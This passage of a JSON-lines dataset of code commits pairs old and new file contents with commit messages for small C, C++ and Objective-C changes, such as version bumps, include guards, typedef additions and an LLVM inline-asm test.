umpy,WarrenWeckesser\/numpy,CMartelLML\/numpy,utke1\/numpy,simongibbons\/numpy,mingwpy\/numpy,cjermain\/numpy,drasmuss\/numpy,yiakwy\/numpy,hainm\/numpy,stefanv\/numpy,larsmans\/numpy,bmorris3\/numpy,SunghanKim\/numpy,abalkin\/numpy,solarjoe\/numpy,BMJHayward\/numpy,ssanderson\/numpy,immerrr\/numpy,immerrr\/numpy,numpy\/numpy-refactor,ajdawson\/numpy,rudimeier\/numpy,dwillmer\/numpy,ogrisel\/numpy,numpy\/numpy-refactor,nguyentu1602\/numpy,NextThought\/pypy-numpy,embray\/numpy,ViralLeadership\/numpy,bringingheavendown\/numpy,madphysicist\/numpy,dwf\/numpy,joferkington\/numpy"}
{"commit":"3e7673472eedd975f9b5fcc1ced44ddbd8db476d","old_file":"core\/base\/inc\/RVersion.h","new_file":"core\/base\/inc\/RVersion.h","old_contents":"#ifndef ROOT_RVersion\n#define ROOT_RVersion\n\n\/* Version information automatically generated by installer. *\/\n\n\/*\n * These macros can be used in the following way:\n *\n *    #if ROOT_VERSION_CODE >= ROOT_VERSION(2,23,4)\n *       #include <newheader.h>\n *    #else\n *       #include <oldheader.h>\n *    #endif\n *\n*\/\n\n#define ROOT_RELEASE \"5.34\/23\"\n#define ROOT_RELEASE_DATE \"Nov  7 2014\"\n#define ROOT_RELEASE_TIME \"15:06:58\"\n#define ROOT_SVN_REVISION 49361\n#define ROOT_GIT_COMMIT \"v5-34-22-106-g4a0dea3\"\n#define ROOT_GIT_BRANCH \"heads\/v5-34-00-patches\"\n#define ROOT_VERSION_CODE 336407\n#define ROOT_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))\n\n#endif\n","new_contents":"#ifndef ROOT_RVersion\n#define ROOT_RVersion\n\n\/* Version information automatically generated by installer. *\/\n\n\/*\n * These macros can be used in the following way:\n *\n *    #if ROOT_VERSION_CODE >= ROOT_VERSION(2,23,4)\n *       #include <newheader.h>\n *    #else\n *       #include <oldheader.h>\n *    #endif\n *\n*\/\n\n#define ROOT_RELEASE \"5.34\/24\"\n#define ROOT_RELEASE_DATE \"Dec  2 2014\"\n#define ROOT_RELEASE_TIME \"18:12:03\"\n#define ROOT_SVN_REVISION 49361\n#define ROOT_GIT_COMMIT \"v5-34-23-79-gbc6a48d\"\n#define ROOT_GIT_BRANCH \"heads\/v5-34-00-patches\"\n#define ROOT_VERSION_CODE 336408\n#define ROOT_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))\n\n#endif\n","subject":"Update ROOT version files to v5.34\/24.","message":"Update ROOT version files to v5.34\/24.\n","lang":"C","license":"lgpl-2.1","repos":"tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot,tc3t\/qoot"}
{"commit":"23ad60bf74b1a87fe85d3e4fab56d19da773323f","old_file":"version.h","new_file":"version.h","old_contents":"#include <stdio.h>\n\n#define major      1\n#define minor      0\n#define patch      0\n\n#define ver(arg)   #arg\n#define ver2(arg)  ver(arg)\n\n#define maj        ver2(major)\n#define min        ver2(minor)\n#define pat        ver2(patch)\n#define dot        \".\"\n\n#define VERSION    (maj dot min dot pat)\n","new_contents":"\/*\n  @file  version.h\n  @brief Defines macros to create version number string\n\n  @license  MIT LICENSE\n  \n  @authors\n  Prakhar Nigam, https:\/\/github.com\/prakharnigam\n  electrogeek, https:\/\/github.com\/Nishant-Mishra\n  \n*\/\n\n#ifndef __VERSION_H__\n#define __VERSION_H__\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define major      1\n#define minor      0\n#define patch      0\n\n#define ver(arg)   #arg\n#define ver2(arg)  ver(arg)\n\n#define maj        ver2(major)\n#define min        ver2(minor)\n#define pat        ver2(patch)\n#define dot        \".\"\n\n#define VERSION    (maj dot min dot pat)\n\n#ifdef __cplusplus\n} \/\/ extern \"C\"\n#endif\n\n#endif \/* __VERSION_H__ *\/\n","subject":"Add guards to avoid multiple includes.","message":"Add guards to avoid multiple includes.","lang":"C","license":"mit","repos":"Nishant-Mishra\/C_Code_Versioning"}
{"commit":"526b988a3dc06e92509e6c67910dbded36ba5aec","old_file":"src\/definitions.h","new_file":"src\/definitions.h","old_contents":"#pragma once\n\n#include <cstdint>\n#include <cstdlib>\n\nusing uint = unsigned int;\n\nusing u8 = uint8_t;\nusing u16 = uint16_t;\nusing s8 = int8_t;\n\nconst int GAMEBOY_WIDTH = 160;\nconst int GAMEBOY_HEIGHT = 144;\n\nconst int CLOCK_RATE = 4194304;\n\ntemplate <typename... T> void unused(T&&...) {}\n\n#define fatal_error() log_error(\"Fatal error: %s:%d\", __FILE__, __LINE__); exit(1);\n\nenum class GBColor {\n    Color0, \/* White *\/\n    Color1, \/* Light gray *\/\n    Color2, \/* Dark gray *\/\n    Color3, \/* Black *\/\n};\n\nenum class Color {\n    White,\n    LightGray,\n    DarkGray,\n    Black,\n};\n\nstruct BGPalette {\n    Color color0 = Color::White;\n    Color color1 = Color::LightGray;\n    Color color2 = Color::DarkGray;\n    Color color3 = Color::Black;\n};\n\nstruct Noncopyable {\n    Noncopyable& operator=(const Noncopyable&) = delete;\n    Noncopyable(const Noncopyable&) = delete;\n    Noncopyable() = default;\n};\n","new_contents":"#pragma once\n\n#include <cstdint>\n#include <cstdlib>\n\nusing uint = unsigned int;\n\nusing u8 = uint8_t;\nusing u16 = uint16_t;\nusing s8 = int8_t;\nusing s16 = uint16_t;\n\nconst int GAMEBOY_WIDTH = 160;\nconst int GAMEBOY_HEIGHT = 144;\n\nconst int CLOCK_RATE = 4194304;\n\ntemplate <typename... T> void unused(T&&...) {}\n\n#define fatal_error() log_error(\"Fatal error: %s:%d\", __FILE__, __LINE__); exit(1);\n\nenum class GBColor {\n    Color0, \/* White *\/\n    Color1, \/* Light gray *\/\n    Color2, \/* Dark gray *\/\n    Color3, \/* Black *\/\n};\n\nenum class Color {\n    White,\n    LightGray,\n    DarkGray,\n    Black,\n};\n\nstruct BGPalette {\n    Color color0 = Color::White;\n    Color color1 = Color::LightGray;\n    Color color2 = Color::DarkGray;\n    Color color3 = Color::Black;\n};\n\nstruct Noncopyable {\n    Noncopyable& operator=(const Noncopyable&) = delete;\n    Noncopyable(const Noncopyable&) = delete;\n    Noncopyable() = default;\n};\n","subject":"Add a s16 (signed 16-bit int) for symmetry with u8\/u16","message":"Add a s16 (signed 16-bit int) for symmetry with u8\/u16\n","lang":"C","license":"bsd-3-clause","repos":"jgilchrist\/emulator,jgilchrist\/emulator,jgilchrist\/emulator"}
{"commit":"171be473509342faa811e8eca74b3a98e2cba772","old_file":"src\/lib\/helpers.h","new_file":"src\/lib\/helpers.h","old_contents":"#pragma once\n\n#include <iomanip>\n\n#include \"H5Cpp.h\"\n#include \"logger.h\"\n\n\/\/ N-wide hex output with 0x\ntemplate <unsigned int N> std::ostream &hexn(std::ostream &out) {\n  return out << \"0x\" << std::hex << std::setw(N) << std::setfill('0');\n}\n\ninline int mymod(int a, int b) {\n  int c = a % b;\n  if (c < 0)\n    c += b;\n  return c;\n}\n\n\n","new_contents":"#pragma once\n\n#include <iomanip>\n\n#include \"logger.h\"\n\n\/\/ N-wide hex output with 0x\ntemplate <unsigned int N> std::ostream &hexn(std::ostream &out) {\n  return out << \"0x\" << std::hex << std::setw(N) << std::setfill('0');\n}\n\ninline int mymod(int a, int b) {\n  int c = a % b;\n  if (c < 0)\n    c += b;\n  return c;\n}\n\n\n","subject":"Remove reference to h5 header","message":"Remove reference to h5 header\n","lang":"C","license":"apache-2.0","repos":"BBN-Q\/libaps2,BBN-Q\/libaps2,BBN-Q\/libaps2,BBN-Q\/libaps2,BBN-Q\/libaps2"}
{"commit":"2241d5454301ced6af4962327b632237ec4b8ac2","old_file":"src\/include\/embox\/kernel.h","new_file":"src\/include\/embox\/kernel.h","old_contents":"\/**\n * @file\n * @brief contains some often-used function prototypes etc\n *\n * @date 25.03.2010\n *\/\n\n#ifndef EMBOX_KERNEL_H_\n#define EMBOX_KERNEL_H_\n\n#ifdef __EMBOX__\n#include <err.h>\n#else\n#include <linux\/types.h>\n#endif\n\n#define ARRAY_SIZE(arr)                 (sizeof(arr) \/ sizeof((arr)[0]))\n\/* deprecated *\/\n#define array_len(array)                ARRAY_SIZE(array)\n\n#endif \/* EMBOX_KERNEL_H_ *\/\n","new_contents":"\/**\n * @file\n * @brief contains some often-used function prototypes etc\n *\n * @date 25.03.2010\n *\/\n\n#ifndef EMBOX_KERNEL_H_\n#define EMBOX_KERNEL_H_\n\n#ifdef __EMBOX__\n#include <err.h>\n#else\n#include <linux\/types.h>\n#endif\n\n#include <util\/array.h>\n\n\/* TODO deprecated. -- Eldar, Nikolay *\/\n#define array_len(array)                ARRAY_SIZE(array)\n\n#endif \/* EMBOX_KERNEL_H_ *\/\n","subject":"Fix redefinition of ARRAY_SIZE macro warning","message":"Fix redefinition of ARRAY_SIZE macro warning","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,mike2390\/embox,vrxfile\/embox-trik,Kefir0192\/embox,Kefir0192\/embox,gzoom13\/embox,mike2390\/embox,mike2390\/embox,Kefir0192\/embox,vrxfile\/embox-trik,Kefir0192\/embox,gzoom13\/embox,embox\/embox,Kakadu\/embox,Kakadu\/embox,embox\/embox,Kefir0192\/embox,vrxfile\/embox-trik,Kefir0192\/embox,gzoom13\/embox,embox\/embox,Kakadu\/embox,Kakadu\/embox,gzoom13\/embox,embox\/embox,vrxfile\/embox-trik,abusalimov\/embox,abusalimov\/embox,gzoom13\/embox,abusalimov\/embox,mike2390\/embox,Kefir0192\/embox,mike2390\/embox,Kakadu\/embox,mike2390\/embox,gzoom13\/embox,Kakadu\/embox,mike2390\/embox,vrxfile\/embox-trik,embox\/embox,vrxfile\/embox-trik,Kakadu\/embox,vrxfile\/embox-trik,gzoom13\/embox,abusalimov\/embox,abusalimov\/embox,abusalimov\/embox"}
{"commit":"32d872a4f0f06dbb2ec8864269061bbb1423b03e","old_file":"euler.c","new_file":"euler.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"euler.h\"\n\nint\ncheck(int problem, int answer, int result)\n{\n    char *text = \"INCORRECT\";\n    char *color = KRED;\n    int ret = 1;\n    if(answer == result) {\n        text = \"CORRECT\";\n        color = KGRN;\n        ret = 0;\n    }\n    printf(\"%sProblm %i %s - Expected: %i; Got %i\\n\",\n        color, problem, text, answer, result);\n    return ret;\n}\n\nvoid\nerror(const char *str)\n{\n    fprintf(stderr, \"%s%s\\n\", KRED, str);\n    exit(1);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"euler.h\"\n\nint\ncheck(int problem, int answer, int result)\n{\n    char *text = \"INCORRECT\";\n    char *color = KRED;\n    int ret = 1;\n    if(answer == result) {\n        text = \"CORRECT\";\n        color = KGRN;\n        ret = 0;\n    }\n    printf(\"%sProblem %i %s - Expected: %i; Got %i\\n\",\n        color, problem, text, answer, result);\n    return ret;\n}\n\nvoid\nerror(const char *str)\n{\n    fprintf(stderr, \"%s%s\\n\", KRED, str);\n    exit(1);\n}\n","subject":"Fix typo: problm -> problem","message":"Fix typo: problm -> problem\n","lang":"C","license":"bsd-2-clause","repos":"skreuzer\/euler"}
{"commit":"315c5f71fa3e796c2f948810b9995f4af7406838","old_file":"examples\/stl_get_infos.c","new_file":"examples\/stl_get_infos.c","old_contents":"","new_contents":"\/* -----------------------------------------------------------------------------\n *\n * Example: read a STL file\n *\n * Just give a filepath and an initialized gmio_stl_mesh_creator object to\n * gmio_stl_read_file().\n * The gmio_stl_mesh_creator object holds pointers to the callbacks invoked\n * during the read operation.\n * These callbacks creates the final mesh object.\n *\n * Note if you want to have control over the stream to be used, call\n * gmio_stl_read() instead.\n *\n * -------------------------------------------------------------------------- *\/\n\n#include <gmio_core\/error.h>\n#include <gmio_stl\/stl_infos.h>\n#include <stddef.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nstatic const char* gmio_stl_format_to_str(enum gmio_stl_format format)\n{\n    switch (format) {\n    case GMIO_STL_FORMAT_UNKNOWN: return \"UNKNOWN\";\n    case GMIO_STL_FORMAT_ASCII: return \"STL ASCII\";\n    case GMIO_STL_FORMAT_BINARY_LE: return \"STL BINARY LITTLE-ENDIAN\";\n    case GMIO_STL_FORMAT_BINARY_BE: return \"STL BINARY BIG-ENDIAN\";\n    }\n}\n\nstatic void print_stl_infos(const struct gmio_stl_infos* infos)\n{\n    printf(\"File: %s\\n\"\n           \"Format: %s\\n\"\n           \"Size: %uKo\\n\"\n           \"Facets: %u\\n\",\n           filepath,\n           gmio_stl_format_to_str(infos->format),\n           infos->size \/ 1024,\n           infos->facet_count);\n    if (infos->format == GMIO_STL_FORMAT_ASCII) {\n        printf(\"Solid name: %s\\n\", infos->stla_solidname);\n    }\n    else if (infos->format == GMIO_STL_FORMAT_BINARY_LE\n             || infos->format == GMIO_STL_FORMAT_BINARY_BE)\n    {\n        printf(\"Header: %80.80s\\n\", infos->stlb_header.data);\n    }\n}\n\nint main(int argc, char** argv)\n{\n    int error = 0;\n    if (argc > 1) {\n        \/* Path to the STL file *\/\n        const char* filepath = argv[1];\n        \/* Read-only standard stream on the STL file *\/\n        FILE* file = fopen(filepath, \"rb\");\n\n        if (file != NULL) {\n            \/* gmio stream interface object *\/\n            struct gmio_stream stream = gmio_stream_stdio(file);\n            \/* Will holds informations about the STL file *\/\n            struct gmio_stl_infos infos = {0};\n            \/* Retrieve STL informations *\/\n            error = gmio_stl_infos_get(\n                        &infos, &stream, GMIO_STL_INFO_FLAG_ALL, NULL);\n            if (error == GMIO_ERROR_OK)\n                print_stl_infos(&infos);\n            else\n                fprintf(stderr, \"gmio error: 0x%X\\n\", error);\n\n            fclose(file);\n        }\n    }\n    return error;\n}\n","subject":"Add new example for gmio_stl_infos_get()","message":"Add new example for gmio_stl_infos_get()\n","lang":"C","license":"bsd-2-clause","repos":"fougue\/gmio,fougue\/gmio,fougue\/gmio,fougue\/gmio"}
{"commit":"e8ff69fcb5021ba8909e44ef7f89e227fa903b3b","old_file":"test\/FrontendC\/2010-11-16-asmblock.c","new_file":"test\/FrontendC\/2010-11-16-asmblock.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -fasm-blocks -o - | FileCheck %s\n\/\/ XFAIL: *\n\/\/ XTARGET: x86,i386,i686\n\/\/ 84282548\n\nvoid foo()\n{\n\/\/ CHECK:  %0 = call i32 asm sideeffect \"\", \"={ecx}\"() nounwind \n\/\/ CHECK:  %asmtmp = call i32 asm sideeffect alignstack \"sall $$3, $0\", \"={ecx},{ecx},~{dirflag},~{fpsr},~{flags},~{memory}\"(i32 %0) nounwind \n\/\/ CHECK:  store i32 %asmtmp, i32* %\"%ecx\"\n __asm {\n   sal ecx, 3;\n   add esi, ecx;\n   add edi, ecx;\n }\n}\n","subject":"Test for llvm-gcc patch 119392.","message":"Test for llvm-gcc patch 119392.\n\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@119393 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"25bda12511d371bc9c02bf2454cce53241ee2abe","old_file":"views\/controls\/menu\/native_menu_host_delegate.h","new_file":"views\/controls\/menu\/native_menu_host_delegate.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n#define VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n\nnamespace views {\nnamespace internal {\n\nclass NativeMenuHostDelegate {\n public:\n  virtual ~NativeMenuHostDelegate() {}\n};\n\n}  \/\/ namespace internal\n}  \/\/ namespace views\n\n#endif  \/\/ VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n#define VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n\nnamespace views {\nnamespace internal {\n\nclass NativeMenuHostDelegate {\n public:\n  virtual ~NativeMenuHostDelegate() {}\n};\n\n}  \/\/ namespace internal\n}  \/\/ namespace views\n\n#endif  \/\/ VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n\n","subject":"Add newline to end of file.","message":"Add newline to end of file.\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@80087 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"e6c4b6d82a21c29737e637dc33b89528bf77d5da","old_file":"TeamSnapSDK\/SDK\/DataTypes\/TSDKPartnerPreferences.h","new_file":"TeamSnapSDK\/SDK\/DataTypes\/TSDKPartnerPreferences.h","old_contents":"\/\/ Copyright (c) 2015 TeamSnap. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"TSDKCollectionObject.h\"\n#import \"TSDKObjectsRequest.h\"\n\n@interface TSDKPartnerPreferences : TSDKCollectionObject\n\n@property (nonatomic, assign) NSInteger canDisplayPartner; \/\/Example: 0\n@property (nonatomic, strong, nullable) NSString * partnerName; \/\/Example: **NULL**\n@property (nonatomic, strong, nullable) NSString * userId; \/\/Example: <null>\n@property (nonatomic, assign) NSInteger userIsPartner; \/\/Example: 0\n@property (nonatomic, strong, nullable) NSString * partnerId; \/\/Example: <null>\n\n@end\n\n\n\n","new_contents":"\/\/ Copyright (c) 2015 TeamSnap. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"TSDKCollectionObject.h\"\n#import \"TSDKObjectsRequest.h\"\n\n@interface TSDKPartnerPreferences : TSDKCollectionObject\n\n@property (nonatomic, assign) BOOL canDisplayPartner; \/\/Example: 0\n@property (nonatomic, strong, nullable) NSString * partnerName; \/\/Example: **NULL**\n@property (nonatomic, strong, nullable) NSString * userId; \/\/Example: <null>\n@property (nonatomic, assign) BOOL userIsPartner; \/\/Example: 0\n@property (nonatomic, strong, nullable) NSString * partnerId; \/\/Example: <null>\n\n@end\n\n\n\n","subject":"Change partner preference Int to Bool values","message":"Change partner preference Int to Bool values\n","lang":"C","license":"mit","repos":"teamsnap\/teamsnap-SDK-iOS,teamsnap\/teamsnap-SDK-iOS,teamsnap\/teamsnap-SDK-iOS"}
{"commit":"41f7697d2ee738d6e252acde2bc40a00cff97d48","old_file":"projects\/OG-Language\/Util\/stdafx.h","new_file":"projects\/OG-Language\/Util\/stdafx.h","old_contents":"\/**\n * Copyright (C) 2011 - present by OpenGamma Inc. and the OpenGamma group of companies\n *\n * Please see distribution for license.\n *\/\n\n#ifndef STDAFX_H\n#define STDAFX_H\n\n\/\/ Common include file for all source code in Util\n\n#ifdef _WIN32\n#define WIN32_LEAN_AND_MEAN\n#include <Windows.h>\n#include <Psapi.h>\n#ifdef __cplusplus\n#pragma warning(disable:4995) \/* suppress #pragma deprecated warnings from standard C++ headers *\/\n#endif \/* ifdef __cplusplus *\/\n#else\n#include <stdio.h>\n#include <stdlib.h>\n#include <malloc.h>\n#include <fcntl.h>\n#include <sys\/socket.h>\n#include <sys\/un.h>\n#include <arpa\/inet.h>\n#include <netinet\/tcp.h>\n#include <signal.h>\n#include <unistd.h>\n#include <dirent.h>\n#include <spawn.h>\n#endif\n#include <assert.h>\n\n\/\/ Include these so that cpptask fails if libraries not present\n#include <fudge\/fudge.h>\n#include <log4cxx\/log4cxx.h>\n\n#endif \/* ifndef STDAFX_H *\/\n","new_contents":"\/**\n * Copyright (C) 2011 - present by OpenGamma Inc. and the OpenGamma group of companies\n *\n * Please see distribution for license.\n *\/\n\n#ifndef STDAFX_H\n#define STDAFX_H\n\n\/\/ Common include file for all source code in Util\n\n#ifdef _WIN32\n#define WIN32_LEAN_AND_MEAN\n#include <Windows.h>\n#include <Psapi.h>\n#ifdef __cplusplus\n#pragma warning(disable:4995) \/* suppress #pragma deprecated warnings from standard C++ headers *\/\n#endif \/* ifdef __cplusplus *\/\n#else\n#include <stdio.h>\n#include <stdlib.h>\n#include <malloc.h>\n#include <fcntl.h>\n#include <sys\/socket.h>\n#include <sys\/un.h>\n#include <arpa\/inet.h>\n#include <netinet\/tcp.h>\n#include <signal.h>\n#include <unistd.h>\n#include <dirent.h>\n#include <spawn.h>\n#include <sys\/stat.h>\n#endif\n#include <assert.h>\n\n\/\/ Include these so that cpptask fails if libraries not present\n#include <fudge\/fudge.h>\n#include <log4cxx\/log4cxx.h>\n\n#endif \/* ifndef STDAFX_H *\/\n","subject":"Add sys\/stat.h to headers for mkfifo declaration.","message":"Add sys\/stat.h to headers for mkfifo declaration.\n","lang":"C","license":"apache-2.0","repos":"nssales\/OG-Platform,McLeodMoores\/starling,jerome79\/OG-Platform,ChinaQuants\/OG-Platform,jeorme\/OG-Platform,codeaudit\/OG-Platform,nssales\/OG-Platform,jerome79\/OG-Platform,nssales\/OG-Platform,jeorme\/OG-Platform,jerome79\/OG-Platform,DevStreet\/FinanceAnalytics,McLeodMoores\/starling,codeaudit\/OG-Platform,jerome79\/OG-Platform,ChinaQuants\/OG-Platform,jeorme\/OG-Platform,DevStreet\/FinanceAnalytics,ChinaQuants\/OG-Platform,codeaudit\/OG-Platform,DevStreet\/FinanceAnalytics,jeorme\/OG-Platform,codeaudit\/OG-Platform,McLeodMoores\/starling,McLeodMoores\/starling,nssales\/OG-Platform,DevStreet\/FinanceAnalytics,ChinaQuants\/OG-Platform"}
{"commit":"052f525884c6664c3047b03b607ca5f7d19e9524","old_file":"Source\/JSObjectFactory.h","new_file":"Source\/JSObjectFactory.h","old_contents":"#import <Foundation\/Foundation.h>\n\n@class JSObjectionInjector;\n\n@interface JSObjectFactory : NSObject\n@property (nonatomic, readonly, strong) JSObjectionInjector *injector;\n\n- (id)initWithInjector:(JSObjectionInjector *)injector;\n- (id)getObject:(id)classOrProtocol;\n- (id)objectForKeyedSubscript: (id)key;\n- (id)getObjectWithArgs:(id)classOrProtocol, ... NS_REQUIRES_NIL_TERMINATION;\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n@class JSObjectionInjector;\n\n@interface JSObjectFactory : NSObject\n@property (nonatomic, readonly, weak) JSObjectionInjector *injector;\n\n- (id)initWithInjector:(JSObjectionInjector *)injector;\n- (id)getObject:(id)classOrProtocol;\n- (id)objectForKeyedSubscript: (id)key;\n- (id)getObjectWithArgs:(id)classOrProtocol, ... NS_REQUIRES_NIL_TERMINATION;\n@end\n","subject":"Use weak reference in object factory to avoid cyclical references","message":"Use weak reference in object factory to avoid cyclical references","lang":"C","license":"mit","repos":"ApplauseAQI\/objection,alexfeng\/objection,ApplauseAQI\/objection,zjh171\/objection,atomicobject\/objection,technology-ebay-de\/objection,paulz\/objection,technology-ebay-de\/objection,hzm0318hzm\/objection,ApplauseAQI\/objection,alexfeng\/objection,hzm0318hzm\/objection,zjh171\/objection,paulz\/objection,atomicobject\/objection,ReutersTV\/objection,ApplauseAQI\/objection,ReutersTV\/objection"}
{"commit":"d7713594c2db37aeed1ff5da8aefbbbd26e73f34","old_file":"bikepath\/ResultsMapViewController.h","new_file":"bikepath\/ResultsMapViewController.h","old_contents":"\/\/\n\/\/  ResultsMapViewController.h\n\/\/  bikepath\n\/\/\n\/\/  Created by Farheen Malik on 8\/14\/14.\n\/\/  Copyright (c) 2014 Bike Path. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import <GoogleMaps\/GoogleMaps.h>\n\n@interface ResultsMapViewController : UIViewController <GMSMapViewDelegate>\n@property (strong, nonatomic) IBOutlet GMSMapView *mapView;\n\n- (IBAction)unwindToSearchPage:(UIStoryboardSegue *)segue;\n\n\n@end\n","new_contents":"\/\/\n\/\/  ResultsMapViewController.h\n\/\/  bikepath\n\/\/\n\/\/  Created by Farheen Malik on 8\/14\/14.\n\/\/  Copyright (c) 2014 Bike Path. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import <GoogleMaps\/GoogleMaps.h>\n#import \"SearchItem.h\"\n\n@interface ResultsMapViewController : UIViewController <GMSMapViewDelegate>\n@property (strong, nonatomic) IBOutlet GMSMapView *mapView;\n\n- (IBAction)unwindToSearchPage:(UIStoryboardSegue *)segue;\n\n@property (nonatomic, strong) SearchItem *item;\n\n\n@end\n","subject":"Add passing of information to prepareforsegue method","message":"Add passing of information to prepareforsegue method\n","lang":"C","license":"apache-2.0","repos":"red-spotted-newts-2014\/bike-path,red-spotted-newts-2014\/bike-path,hushifei\/bike-path"}
{"commit":"801c6885d61cee2dea82682c47e3e0dfd42a07ba","old_file":"test\/test.h","new_file":"test\/test.h","old_contents":"#include <unittest++\/UnitTest++.h>\n\n\/*\n * This file provides a transitive include for the UnitTest++ library\n * so that you don't need to remember how to include it yourself. This\n * file also provides you with a reference for using UnitTest++.\n *\n * == BASIC REFERENCE ==\n *      - TEST(NAME_OF_TEST) { body_of_test }\n *      - TEST_FIXTURE(NAME_OF_FIXTURE,NAME_OF_TEST){ body_of_test }\n *\n * == CHECK MACRO REFERENCE ==\n *      - CHECK(EXPR);\n *      - CHECK_EQUAL(EXPECTED,ACTUAL);\n *      - CHECK_CLOSE(EXPECTED,ACTUAL,EPSILON);\n *      - CHECK_ARRAY_EQUAL(EXPECTED,ACTUAL,LENGTH);\n *      - CHECK_ARRAY_CLOSE(EXPECTED,ACTUAL,LENGTH,EPSILON);\n *      - CHECK_ARRAY2D_EQUAL(EXPECTED,ACTUAL,ROWCOUNT,COLCOUNT);\n *      - CHECK_ARRAY2D_CLOSE(EXPECTED,ACTUAL,ROWCOUNT,COLCOUNT,EPSILON);\n *      - CHECK_THROW(EXPR,EXCEPTION_TYPE_EXPECTED);\n *\n * == TIME CONSTRAINTS ==\n *\n *      - UNITTEST_TIME_CONSTRAINT(TIME_IN_MILLISECONDS);\n *      - UNITTEST_TIME_CONSTRAINT_EXEMPT();\n *\n * == MORE INFO ==\n *      See: http:\/\/unittest-cpp.sourceforge.net\/UnitTest++.html\n *\/\n \n ","new_contents":"#include \"unittest++\/UnitTest++.h\"\n\n\/*\n * This file provides a transitive include for the UnitTest++ library\n * so that you don't need to remember how to include it yourself. This\n * file also provides you with a reference for using UnitTest++.\n *\n * == BASIC REFERENCE ==\n *      - TEST(NAME_OF_TEST) { body_of_test }\n *      - TEST_FIXTURE(NAME_OF_FIXTURE,NAME_OF_TEST){ body_of_test }\n *\n * == CHECK MACRO REFERENCE ==\n *      - CHECK(EXPR);\n *      - CHECK_EQUAL(EXPECTED,ACTUAL);\n *      - CHECK_CLOSE(EXPECTED,ACTUAL,EPSILON);\n *      - CHECK_ARRAY_EQUAL(EXPECTED,ACTUAL,LENGTH);\n *      - CHECK_ARRAY_CLOSE(EXPECTED,ACTUAL,LENGTH,EPSILON);\n *      - CHECK_ARRAY2D_EQUAL(EXPECTED,ACTUAL,ROWCOUNT,COLCOUNT);\n *      - CHECK_ARRAY2D_CLOSE(EXPECTED,ACTUAL,ROWCOUNT,COLCOUNT,EPSILON);\n *      - CHECK_THROW(EXPR,EXCEPTION_TYPE_EXPECTED);\n *\n * == TIME CONSTRAINTS ==\n *\n *      - UNITTEST_TIME_CONSTRAINT(TIME_IN_MILLISECONDS);\n *      - UNITTEST_TIME_CONSTRAINT_EXEMPT();\n *\n * == MORE INFO ==\n *      See: http:\/\/unittest-cpp.sourceforge.net\/UnitTest++.html\n *\/\n \n \n","subject":"Use quotes for include so that UnitTest header is found locally.","message":"Use quotes for include so that UnitTest header is found locally.\n","lang":"C","license":"bsd-3-clause","repos":"Atamai\/tactics,Atamai\/tactics"}
